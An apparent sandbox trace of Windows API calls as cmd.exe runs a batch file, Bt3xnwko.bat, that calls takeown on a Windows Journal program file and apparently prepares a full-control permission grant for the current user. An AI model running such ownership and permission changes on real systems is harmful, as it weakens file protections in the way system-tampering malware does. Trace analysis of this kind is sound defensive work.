[0122.539] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0122.539] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0122.539] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0122.539] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0122.539] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0122.539] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0122.539] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0122.539] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0122.539] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0122.539] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0122.539] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0122.539] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0122.539] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0122.539] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0122.539] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0122.539] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0122.539] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0122.539] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0122.539] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0122.539] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0122.539] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0122.539] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0122.539] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0122.539] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0122.539] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0122.539] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0122.539] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0122.539] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0122.539] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0122.539] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0122.539] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0122.539] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0122.539] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0122.539] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0122.539] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0122.540] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0122.540] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x686218, lpFilePart=0x26f0c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f0c0*="Desktop") returned 0x25 [0122.540] SetErrorMode (uMode=0x0) returned 0x1 [0122.540] GetProcessHeap () returned 0x670000 [0122.540] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686210, Size=0x64) returned 0x686210 [0122.540] GetProcessHeap () returned 0x670000 [0122.540] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x686210) returned 0x64 [0122.540] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0122.540] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0122.540] GetProcessHeap () returned 0x670000 [0122.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x120) returned 0x686280 [0122.540] GetProcessHeap () returned 0x670000 [0122.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x238) returned 0x6863a8 [0122.540] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.541] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0xffffffff [0122.541] GetLastError () returned 0x2 [0122.541] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0xffffffff [0122.541] GetLastError () returned 0x2 [0122.541] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.541] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0x686558 [0122.542] FindClose (in: hFindFile=0x686558 | out: hFindFile=0x686558) returned 1 [0122.542] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0xffffffff [0122.542] GetLastError () returned 0x2 [0122.542] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x26ee3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ee3c) returned 0x686558 [0122.542] FindClose (in: hFindFile=0x686558 | out: hFindFile=0x686558) returned 1 [0122.542] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0122.542] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0122.542] GetConsoleTitleW (in: lpConsoleTitle=0x26ee8c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0122.543] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x686ce0, lpFilePart=0x26e9ac | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26e9ac*="Desktop") returned 0x25 [0122.543] SetErrorMode (uMode=0x0) returned 0x1 [0122.543] GetProcessHeap () returned 0x670000 [0122.543] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686cd8, Size=0x64) returned 0x686cd8 [0122.543] GetProcessHeap () returned 0x670000 [0122.543] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x686cd8) returned 0x64 [0122.543] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0122.543] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0122.543] GetProcessHeap () returned 0x670000 [0122.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x120) returned 0x686810 [0122.543] GetProcessHeap () returned 0x670000 [0122.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x238) returned 0x686938 [0122.543] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.544] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0xffffffff [0122.544] GetLastError () returned 0x2 [0122.544] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0xffffffff [0122.544] GetLastError () returned 0x2 [0122.544] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.544] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0x686ae8 [0122.544] FindClose (in: hFindFile=0x686ae8 | out: hFindFile=0x686ae8) returned 1 [0122.544] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0xffffffff [0122.545] GetLastError () returned 0x2 [0122.545] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x26e728, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e728) returned 0x686ae8 [0122.545] FindClose (in: hFindFile=0x686ae8 | out: hFindFile=0x686ae8) returned 1 [0122.545] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0122.545] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0122.545] GetConsoleTitleW (in: lpConsoleTitle=0x26ec20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0122.545] InitializeProcThreadAttributeList (in: lpAttributeList=0x26eaa8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26eb70 | out: lpAttributeList=0x26eaa8, lpSize=0x26eb70) returned 1 [0122.545] UpdateProcThreadAttribute (in: lpAttributeList=0x26eaa8, dwFlags=0x0, Attribute=0x60001, lpValue=0x26eb68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26eaa8, lpPreviousValue=0x0) returned 1 [0122.545] GetStartupInfoW (in: lpStartupInfo=0x26ea64 | out: lpStartupInfo=0x26ea64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0122.545] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0122.545] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x26eb04*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26eb50 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"", lpProcessInformation=0x26eb50*(hProcess=0x78, hThread=0x74, dwProcessId=0xfb4, dwThreadId=0xfb8)) returned 1 [0122.561] CloseHandle (hObject=0x74) returned 1 [0122.561] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0122.561] GetProcessHeap () returned 0x670000 [0122.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68a120 | out: hHeap=0x670000) returned 1 [0122.561] GetEnvironmentStringsW () returned 0x687f38* [0122.561] GetProcessHeap () returned 0x670000 [0122.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb5c) returned 0x68a120 [0122.561] FreeEnvironmentStringsW (penv=0x687f38) returned 1 [0122.561] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0123.199] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x26ea44 | out: lpExitCode=0x26ea44*=0x0) returned 1 [0123.199] CloseHandle (hObject=0x78) returned 1 [0123.199] _vsnwprintf (in: _Buffer=0x26eb8c, _BufferCount=0x13, _Format="%08X", _ArgList=0x26ea50 | out: _Buffer="00000000") returned 8 [0123.199] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0123.199] GetProcessHeap () returned 0x670000 [0123.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68a120 | out: hHeap=0x670000) returned 1 [0123.199] GetEnvironmentStringsW () returned 0x687f38* [0123.199] GetProcessHeap () returned 0x670000 [0123.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb5c) returned 0x68a120 [0123.199] FreeEnvironmentStringsW (penv=0x687f38) returned 1 [0123.199] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0123.199] GetProcessHeap () returned 0x670000 [0123.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68a120 | out: hHeap=0x670000) returned 1 [0123.199] GetEnvironmentStringsW () returned 0x687f38* [0123.199] GetProcessHeap () returned 0x670000 [0123.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb5c) returned 0x68a120 [0123.200] FreeEnvironmentStringsW (penv=0x687f38) returned 1 [0123.200] GetProcessHeap () returned 0x670000 [0123.200] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670db8 | out: hHeap=0x670000) returned 1 [0123.200] DeleteProcThreadAttributeList (in: lpAttributeList=0x26eaa8 | out: lpAttributeList=0x26eaa8) [0123.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.200] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0123.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.200] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0123.200] _get_osfhandle (_FileHandle=0) returned 0x3 [0123.201] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0123.201] SetConsoleInputExeNameW () returned 0x1 [0123.201] GetConsoleOutputCP () returned 0x1b5 [0123.201] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0123.201] SetThreadUILanguage (LangId=0x0) returned 0x409 [0123.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f2c4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0123.202] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0123.202] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.202] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0123.202] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686a68 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686938 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686810 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686cd8 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686770 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686558 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6864d8 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6863a8 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686280 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686210 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686180 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6712a0 | out: hHeap=0x670000) returned 1 [0123.203] GetProcessHeap () returned 0x670000 [0123.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671240 | out: hHeap=0x670000) returned 1 [0123.203] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.203] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0123.204] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f2a8, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f2a8*=0xb3, lpOverlapped=0x0) returned 1 [0123.204] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0123.204] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0123.204] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.204] GetFileType (hFile=0x78) returned 0x1 [0123.204] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.204] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0123.204] GetProcessHeap () returned 0x670000 [0123.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x694ab0 [0123.206] GetProcessHeap () returned 0x670000 [0123.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x78) returned 0x680fe8 [0123.206] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui", nBufferLength=0x208, lpBuffer=0x26ea38, lpFilePart=0x26ea30 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui", lpFilePart=0x26ea30*="Journal.exe.mui") returned 0x36 [0123.206] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x26e74c | out: lpFindFileData=0x26e74c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x671240 [0123.206] FindClose (in: hFindFile=0x671240 | out: hFindFile=0x671240) returned 1 [0123.206] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0123.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal", lpFindFileData=0x26e74c | out: lpFindFileData=0x26e74c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 0x671240 [0123.206] FindClose (in: hFindFile=0x671240 | out: hFindFile=0x671240) returned 1 [0123.207] _wcsnicmp (_String1="WI0FCF~1", _String2="Windows Journal", _MaxCount=0xf) returned -62 [0123.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US", lpFindFileData=0x26e74c | out: lpFindFileData=0x26e74c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0x671240 [0123.207] FindClose (in: hFindFile=0x671240 | out: hFindFile=0x671240) returned 1 [0123.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui", lpFindFileData=0x26e74c | out: lpFindFileData=0x26e74c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 0x671240 [0123.207] FindClose (in: hFindFile=0x671240 | out: hFindFile=0x671240) returned 1 [0123.207] GetProcessHeap () returned 0x670000 [0123.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x28) returned 0x67f4e0 [0123.207] GetProcessHeap () returned 0x670000 [0123.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694ab0 | out: hHeap=0x670000) returned 1 [0123.210] _tell (_FileHandle=3) returned 63 [0123.210] _close (_FileHandle=3) returned 0 [0123.210] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f07c | out: _Buffer="\r\n") returned 2 [0123.210] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.210] GetFileType (hFile=0x7) returned 0x2 [0123.211] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.211] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f03c | out: lpMode=0x26f03c) returned 1 [0123.211] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.211] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f068, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f068*=0x2) returned 1 [0123.213] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0123.213] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0123.213] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f078 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0123.213] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f078 | out: _Buffer=">") returned 1 [0123.213] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.213] GetFileType (hFile=0x7) returned 0x2 [0123.214] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.214] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f040 | out: lpMode=0x26f040) returned 1 [0123.214] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.214] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f06c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f06c*=0x26) returned 1 [0123.215] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.215] GetFileType (hFile=0x7) returned 0x2 [0123.215] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.215] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2c4 | out: lpMode=0x26f2c4) returned 1 [0123.215] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.215] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x670dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x26f2f0, lpReserved=0x0 | out: lpBuffer=0x670dc0*, lpNumberOfCharsWritten=0x26f2f0*=0x3) returned 1 [0123.216] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f2fc | out: _Buffer=" FN=\"Journal.exe.mui\" ") returned 22 [0123.216] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.216] GetFileType (hFile=0x7) returned 0x2 [0123.217] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.217] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0123.217] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.217] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x16, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x16) returned 1 [0123.217] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f31c | out: _Buffer="\r\n") returned 2 [0123.218] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.218] GetFileType (hFile=0x7) returned 0x2 [0123.218] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.218] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2dc | out: lpMode=0x26f2dc) returned 1 [0123.218] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.218] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f308, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f308*=0x2) returned 1 [0123.219] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0123.219] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0123.220] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0123.220] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0123.220] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0123.220] _wcsicmp (_String1="set", _String2="CD") returned 16 [0123.220] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0123.220] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0123.220] _wcsicmp (_String1="set", _String2="REN") returned 1 [0123.220] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0123.220] _wcsicmp (_String1="set", _String2="SET") returned 0 [0123.220] GetConsoleTitleW (in: lpConsoleTitle=0x26ee8c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0123.220] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0123.220] SetEnvironmentVariableW (lpName="FN", lpValue="\"Journal.exe.mui\"") returned 1 [0123.220] GetProcessHeap () returned 0x670000 [0123.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68a120 | out: hHeap=0x670000) returned 1 [0123.220] GetEnvironmentStringsW () returned 0x688ac8* [0123.220] GetProcessHeap () returned 0x670000 [0123.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb86) returned 0x689658 [0123.220] FreeEnvironmentStringsW (penv=0x688ac8) returned 1 [0123.220] 